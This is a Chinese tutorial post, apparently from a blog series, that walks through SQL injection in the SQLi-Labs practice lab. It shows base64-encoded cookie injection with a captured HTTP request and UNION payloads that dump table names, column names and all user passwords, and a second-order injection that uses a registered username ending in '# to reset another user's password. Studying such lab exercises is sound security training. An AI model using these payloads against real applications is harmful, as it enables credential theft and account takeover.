06_SQL注入_加密注入&二次注入
1.加密注入
SQL注入的思路是用户用自定义语句和原本的SQL语句拼接,但有时开发者会对获取到的数据进行加密,那么对于渗透测试者而言如果想要在这样的情况下进行操作,则需要将自己的注入语句进行相同的加密处理后与原本的语句进行拼接。这种类型的大体思路和先前的思路整体无异,唯一的区别就是需要测试者先写好payload,再进行加密,随后将数据包放出进行注入尝试。
加密类型的注入在SQLi-Labs中得到了复现,实验如下:
- 【靶场】SQLi-Labs less-21
- 【知识点】post注入&cookie注入&加密注入
- 【工具】burpsuite
- 【目标】测试人员拥有账户admin,其密码为admin。目标为获取其他用户的密码。
- 【实验步骤】
登录admin,提交后抓取回显数据包,内容如下:
GET /sqli-labs-master/Less-21/index.php HTTP/1.1
Host: 192.168.124.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.124.21/sqli-labs-master/Less-21/
Connection: close
Cookie: uname=YWRtaW4%3D
Upgrade-Insecure-Requests: 1
Cookie: uname=YWRtaW4%3D由于Base64编码的特性是将%3D作为填充,由此判断在Cookie处尝试注入需要对payload进行base64编码(decoder模块可以完成这项操作)
注入点判断
构造cookie值为admin’(base64:YWRtaW4n)
报错如下:
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘admin’') LIMIT 0,1’ at line 1
判断我们需要闭合单引号和括号
修改cookie为admin’)# (base64:YWRtaW4nKSM=)回显正常!
联合查询进行注入
admin') order by 4#
出现报错:Issue with your mysql: Unknown column ‘4’ in ‘order clause’
修改payload为admin') order by 3#
回显正常!
修改payload判断回显位置
admin') and 1=-1 union select 1,2,3#
修改2,3进行查询即可
信息收集
信息收集的payload如下:
admin') and 1=-1 union select 1,version(),3#
admin') and 1=-1 union select 1,user(),3#
admin') and 1=-1 union select 1,database(),3#
得到如下信息
DBMS:Mysql
版本:5.0以上
用户:root
当前数据库:security
信息爆破
爆出所有表名:
admin') and 1=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'#
爆出user中所有的列名
admin') and 1=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'#
查询所有用户名和密码
admin') and 1=-1 union select 1,group_concat(username),group_concat(password) from users#
任务完成!
2.二次注入
二次注入属于白盒测试的范畴,需要根据源代码判断其是否存在,其成因可以概述为:入库的数据在调用时和语句进行拼接从而进行一系列自定义操作。
如某网站,创建用户的SQL语句为
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
更改密码的SQL语句为:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
那么就存在二次注入的漏洞,具体危害见如下实验:
【靶场】Sqli-labs less24
【知识点】二次注入
【提示】关键代码为上述代码,已知存在一个用户xigua,想办法登录该账户
【过程】
分析两段源代码
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
该代码直接将获得的用户名和密码插入到users表中,没做任何处理,任何形式的数据都能插入,包括含有特殊符号的参数
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
对于这段代码中如果username中含有’#,那么就会出现一些问题,如username为 admin’#时sql语句就会变为
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
这样的语句执行,就会变向越权修改admin的密码,有了上述思路,我们就能够尝试变向越权修改xigua的密码进行登录。
向数据库中注入恶意代码
注册一个用户,其用户名为xigua’#,密码88888888
变相越权修改密码
登录该用户,并修改密码为999999999,根据分析这个密码将会变相的成为用户xigua的密码
尝试登录
成功登录!回家吃西瓜🍉
【捞一捞本系列其他文章,不熟悉注入思路的可以通过本专栏其他文章进行交流】
https://blog.csdn.net/qq_42171569/category_11762282.html